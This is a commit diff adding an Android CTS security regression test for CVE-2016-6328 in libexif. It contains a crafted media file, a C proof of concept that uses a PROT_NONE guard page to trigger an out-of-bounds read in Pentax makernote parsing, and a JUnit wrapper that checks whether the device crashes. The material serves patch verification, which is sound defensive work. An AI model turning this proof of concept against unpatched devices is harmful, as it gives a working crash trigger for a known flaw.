[RESTRICT AUTOMERGE] CTS test for Android security b/162602132

Bug: 162602132
Bug: 173531252
Test: Ran the new testcase on android-9.0.0_r11 with/without patch

Change-Id: If07e7dfa2bdbe699fc9b50991b06c8ccaca3a856
diff --git a/hostsidetests/securitybulletin/res/cve_2016_6328.mp4 b/hostsidetests/securitybulletin/res/cve_2016_6328.mp4
new file mode 100644
index 0000000..8813ef6
--- /dev/null
+++ b/hostsidetests/securitybulletin/res/cve_2016_6328.mp4
Binary files differ
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-6328/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2016-6328/Android.mk
new file mode 100644
index 0000000..c919929
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-6328/Android.mk
@@ -0,0 +1,31 @@
+# Copyright (C) 2020 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#  	http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+include $(CLEAR_VARS)
+
+LOCAL_MODULE := CVE-2016-6328
+LOCAL_SRC_FILES := poc.c
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+LOCAL_SHARED_LIBRARIES := libexif
+
+# Tag this module as a cts/sts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts sts vts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_CFLAGS := -Wall -Werror
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-6328/poc.c b/hostsidetests/securitybulletin/securityPatch/CVE-2016-6328/poc.c
new file mode 100644
index 0000000..366dd0b
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-6328/poc.c
@@ -0,0 +1,78 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <stdlib.h>
+#include <sys/mman.h>
+#include <unistd.h>
+#include "../includes/common.h"
+#include "libexif/exif-data.h"
+#include "libexif/pentax/exif-mnote-data-pentax.h"
+
+#define NUM_PAGES 2
+#define VULNERABLE_ENTRY_INDEX 6
+#define VALUE_SIZE 1024
+
+int main(int argc, char **argv) {
+    if (argc < 2) {
+        return EXIT_FAILURE;
+    }
+
+    ExifData *exifData = exif_data_new_from_file(argv[1]);
+    if (!exifData) {
+        return EXIT_FAILURE;
+    }
+
+    ExifMnoteData *mData = exif_data_get_mnote_data(exifData);
+    if (!mData) {
+        exif_data_unref(exifData);
+        return EXIT_FAILURE;
+    }
+
+    ExifMnoteDataPentax *mDataPentax = (ExifMnoteDataPentax *)mData;
+    if (!mDataPentax) {
+        exif_data_unref(exifData);
+        return EXIT_FAILURE;
+    }
+
+    MnotePentaxEntry *entry = &mDataPentax->entries[VULNERABLE_ENTRY_INDEX];
+    if (!entry) {
+        exif_data_unref(exifData);
+        return EXIT_FAILURE;
+    }
+
+    size_t page_size = getpagesize();
+    size_t num_pages = NUM_PAGES;
+    size_t total_size = page_size * num_pages;
+    unsigned char *start_ptr = (unsigned char *)memalign(page_size, total_size);
+    if (!start_ptr) {
+        exif_data_unref(exifData);
+        return EXIT_FAILURE;
+    }
+    unsigned char *mem_ptr = start_ptr + ((num_pages - 1) * page_size);
+    mprotect(mem_ptr, page_size, PROT_NONE);
+
+    unsigned char *prev_ptr = entry->data;
+    entry->data = mem_ptr;
+    entry->size = 0;
+
+    char value[VALUE_SIZE];
+    exif_mnote_data_get_value(mData, VULNERABLE_ENTRY_INDEX, value, sizeof(value));
+
+    entry->data = prev_ptr;
+    free(start_ptr);
+    exif_data_unref(exifData);
+    return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2016_6328.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2016_6328.java
new file mode 100644
index 0000000..e7f8015
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2016_6328.java
@@ -0,0 +1,39 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import android.platform.test.annotations.SecurityTest;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2016_6328 extends SecurityTestCase {
+
+    /**
+     * b/162602132
+     * Vulnerability Behaviour: SIGSEGV in self
+     */
+    @SecurityTest(minPatchLevel = "2021-01")
+    @Test
+    public void testPocCVE_2016_6328() throws Exception {
+        String inputFiles[] = {"cve_2016_6328.mp4"};
+        AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2016-6328",
+                AdbUtils.TMP_PATH + inputFiles[0], inputFiles, AdbUtils.TMP_PATH, getDevice());
+    }
+}